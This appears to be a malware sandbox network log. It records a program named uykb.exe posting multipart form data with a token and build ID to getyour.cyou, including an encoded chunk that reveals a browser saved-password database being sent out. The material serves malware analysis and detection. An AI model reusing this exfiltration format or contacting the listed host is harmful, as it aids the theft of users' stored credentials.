2025-02-01 20:59:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 46 52 53 76 72 37 48 2b 45 79 7a 62 54 6e 33 54 64 50 34 75 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tFRSvr7H+EyzbTn3TdP4uw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49810	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:11 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ngvaaie3w4eu37ymycb1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 1089 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:11 UTC	1089	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6e 67 76 61 61 69 65 33 77 34 65 75 33 37 79 6d 79 63 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 6e 67 76 61 61 69 65 33 77 34 65 75 33 37 79 6d 79 63 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 6e 67 76 61 61 69 65 33 77 34 65 75 33 37 79 6d 79 63 62 31 0d 0a 43 6f 6e 74 Data Ascii: ------ngvaaie3w4eu37ymycb1Content-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------ngvaaie3w4eu37ymycb1Content-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------ngvaaie3w4eu37ymycb1Cont
2025-02-01 20:59:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49820	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:12 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----k6xt0zusr1n7yu3wt26p User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6b 36 78 74 30 7a 75 73 72 31 6e 37 79 75 33 77 74 32 36 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 6b 36 78 74 30 7a 75 73 72 31 6e 37 79 75 33 77 74 32 36 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 6b 36 78 74 30 7a 75 73 72 31 6e 37 79 75 33 77 74 32 36 70 0d 0a 43 6f 6e 74 Data Ascii: ------k6xt0zusr1n7yu3wt26pContent-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------k6xt0zusr1n7yu3wt26pContent-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------k6xt0zusr1n7yu3wt26pCont
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49830	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:13 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----wlfctjwtjw4eu37qie37 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:13 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 77 6c 66 63 74 6a 77 74 6a 77 34 65 75 33 37 71 69 65 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 77 6c 66 63 74 6a 77 74 6a 77 34 65 75 33 37 71 69 65 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 77 6c 66 63 74 6a 77 74 6a 77 34 65 75 33 37 71 69 65 33 37 0d 0a 43 6f 6e 74 Data Ascii: ------wlfctjwtjw4eu37qie37Content-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------wlfctjwtjw4eu37qie37Content-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------wlfctjwtjw4eu37qie37Cont
2025-02-01 20:59:13 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:13 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:13 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49843	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:15 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----pph47ymgdtrim7glng4o User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 70 70 68 34 37 79 6d 67 64 74 72 69 6d 37 67 6c 6e 67 34 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 70 70 68 34 37 79 6d 67 64 74 72 69 6d 37 67 6c 6e 67 34 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 70 70 68 34 37 79 6d 67 64 74 72 69 6d 37 67 6c 6e 67 34 6f 0d 0a 43 6f 6e 74 Data Ascii: ------pph47ymgdtrim7glng4oContent-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------pph47ymgdtrim7glng4oContent-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------pph47ymgdtrim7glng4oCont
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 